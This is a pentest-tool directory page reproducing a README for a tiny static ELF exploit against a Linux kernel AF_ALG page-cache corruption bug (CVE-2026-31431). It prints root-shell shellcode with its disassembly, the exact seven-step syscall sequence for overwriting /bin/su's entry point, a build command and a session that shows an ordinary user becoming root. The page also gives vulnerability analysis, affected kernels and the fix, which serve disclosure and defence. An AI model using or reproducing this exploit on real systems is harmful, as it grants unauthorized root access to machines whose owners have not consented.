Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-31431-CopyFail-static-ELF--POC — Minimal 587-byte static ELF exploit for CVE-2026-31431, achieving local privilege escalation via AF_ALG splice page cache corruption. No libc or runtime dependencies. | Kitploit
Tools/GitHubGitHub/rat5ak/cve-2026-31431-copyfail-static-elf--poc
Privilege EscalationExploit FrameworksVulnerability AnalysisExploitationPayload DevelopmentBinary Exploitation
GitHubrat5ak/cve-2026-31431-copyfail-static-elf--poc

CVE-2026-31431-CopyFail-static-ELF--POC

Minimal 587-byte static ELF exploit for CVE-2026-31431, achieving local privilege escalation via AF_ALG splice page cache corruption. No libc or runtime dependencies.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
44 months agoNot yet reviewed

CVE-2026-31431: Copy Fail - 587-byte static ELF

I did not find this bug. Credit goes to Xint Code / Theori.

This repo is my take on making the exploit as small as possible - a hand-rolled x86_64 ELF that does the full LPE in 587 bytes. No libc, no linker, no runtime. Just NASM and stubbornness.

In effect, the kernel hands you a write primitive into any readable file's page cache through AF_ALG + splice. Point it at a setuid binary's entry point, write shellcode, exec the binary, root.

For context on sizing: the original public Copy Fail post shipped a tiny Python version measured at 732 bytes. That is extremely sick, but it still depends on the Python runtime being present. Smaller again is https://kopy.fail at 524 bytes. This one however is a raw static ELF: no interpreter, no libc, no linker, no dynamic loader. (my mum says it's cool)

CVECVE-2026-31431
Bug classPage cache corruption via splice aliasing
Root causeaf_alg_sendpage / splice into AEAD request aliases page cache pages into crypto scatter-gather output
Componentcrypto/af_alg.c + crypto/algif_aead.c
ImpactWrite controlled bytes into any readable file's page cache
RequiredLocal user, reachable AF_ALG/AEAD support, readable setuid target
Exploit587-byte static ELF (x86_64), single file, zero dependencies

The Bug

AF_ALG lets userspace do kernel crypto over sockets. For AEAD ciphers like authencesn, the kernel accepts data via sendmsg with MSG_MORE, then you can splice more data in from a file descriptor.

The cursed part: when you splice a file in, the kernel pins the file's page cache pages directly into the crypto scatter-gather list. The AEAD operation then writes its output back into those same pages. The kernel thinks it gave crypto a read buffer. Crypto thinks it got a write buffer. Nobody copies.

The bytes you feed as AAD metadata end up visible through the page cache. Any subsequent read of that file - by any process, any user, including suid exec - sees the corrupted data. The on-disk file is untouched. Only the in-memory page cache view changes.

Naming

Copy Fail is the page-cache/COW family curse showing up in AF_ALG clothing. Same lineage as Dirty COW (CVE-2016-5195) - "the kernel let you write to something you should only be able to read" - but through the crypto splice path instead of madvise/write racing.

Exploitation

Target: /bin/su on Debian Bookworm (including kernelCTF rootfs). ELF entry point sits at file offset 0x3910.

28 bytes of shellcode turn it into a root shell dropper:

root@kitploit:~
; setuid(0) - 7 bytes
31 ff           xor edi, edi
6a 69           push 105
58              pop rax
0f 05           syscall
; execve("/bin/sh", NULL, NULL) - 21 bytes
99              cdq
31 f6           xor esi, esi
48 bb 2f 62 69 6e 2f 73 68 00   movabs rbx, "/bin/sh\0"
53              push rbx
54              push rsp
5f              pop rdi
6a 3b           push 59
58              pop rax
0f 05           syscall

The AEAD primitive only gives you 4 bytes per operation - one 32-bit chunk of the AAD lands at the splice offset. 28 bytes of shellcode ÷ 4 = 7 trips through the kernel crypto stack. Each iteration:

  1. socket(AF_ALG) + bind with authencesn(hmac(sha1),cbc(aes))
  2. setsockopt to set the key and auth tag size
  3. accept to get the request fd
  4. sendmsg with MSG_MORE - the 8-byte iov contains 4 bytes of AAD filler + 4 bytes of shellcode
  5. splice from /bin/su through a pipe into the request fd (positions the page cache pages)
  6. recvfrom - triggers AEAD processing, corrupts the page cache
  7. Close everything (critical - stale AF_ALG state corrupts subsequent splices)

After all 7 iterations, execve("/bin/su"). The kernel loads it from the corrupted page cache. Execution jumps to the overwritten entry point. Root shell.

The Binary

587 bytes total. 120 of those are the ELF header (kernel won't load you without it), so the actual exploit logic is 467 bytes of machine code + data.

Here's where things live in the ELF header:

root@kitploit:~
Offset  Field           Actual use
------  -----           ----------
0x00    e_ident[0:8]    magic + ELF class (mandatory)
0x08    e_ident[8:16]   crypto key material (kernel ignores these bytes)
0x28    e_shoff         "/bin/su\0" string (kernel ignores for ET_EXEC)

The kernel only looks at e_ident[0:7], e_type, e_machine, e_entry, e_phoff, e_phnum, and the phdr itself. Everything else is free real estate.

Other size tricks:

  • Single RWX PT_LOAD, BSS for the 88-byte sockaddr_alg (kernel zeros it)
  • All syscalls encoded as push imm8 / pop rax / syscall (3 bytes each)
  • Loop counter in r14 counts down from 24→0 step -4, doubles as shellcode index
  • Registers chosen to survive across syscalls (r12=target_fd, r15=alg_fd, rbp=req_fd, rbx=shellcode_base) so we don't waste bytes reloading them

The 584→587 story

First working version was 584 bytes. It used mov ax, 275 for the second splice call (2 bytes shorter than mov eax, 275). This gambles that the first splice always succeeds - if it returns a negative error, the upper 48 bits of rax stay set, and mov ax, 275 only overwrites the bottom 16. Then the second splice syscall number is garbage.

On my test kernel it always worked. But "always works in testing" is a bad reason to ship a bug, and if someone hits this on a system where splice returns EAGAIN under memory pressure, the exploit just segfaults with no indication of what went wrong. Ate the 3 extra bytes.

Also had to add xor esi, esi before the final execve because recvfrom clobbers rsi with the buffer address. Without it, execve gets a garbage argv pointer. Another byte.

Building

root@kitploit:~
nasm -f bin -o copy_fail_v3 copy_fail_v3.asm && chmod +x copy_fail_v3

Requires NASM. Produces the exploit binary directly - no linking step.

Usage

root@kitploit:~
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ ./copy_fail_v3
# id
uid=0(root) gid=0(root) groups=0(root)

Takes under a second. No output on success - just a root shell.

Affected Kernels

Needs CONFIG_CRYPTO_USER_API_AEAD (built-in or loaded module) and the unfixed in-place splice path in algif_aead. The bad codepath dates back to a 2017 optimization. Check your distro's kernel config and patch status.

Fix

The fix kills the in-place path and copies splice source pages instead of aliasing them into the crypto scatter-gather list. Page cache isolation restored.

Don't be stupid

This is a KernelCTF/lab artifact. Run it on systems you own or have explicit permission to test. If you're defending Linux boxes, patch the kernel or restrict AF_ALG/algif_aead module loading.


Daniel Wade - GitHub · Twitter/X · Bluesky · nadsec.online

Download Tool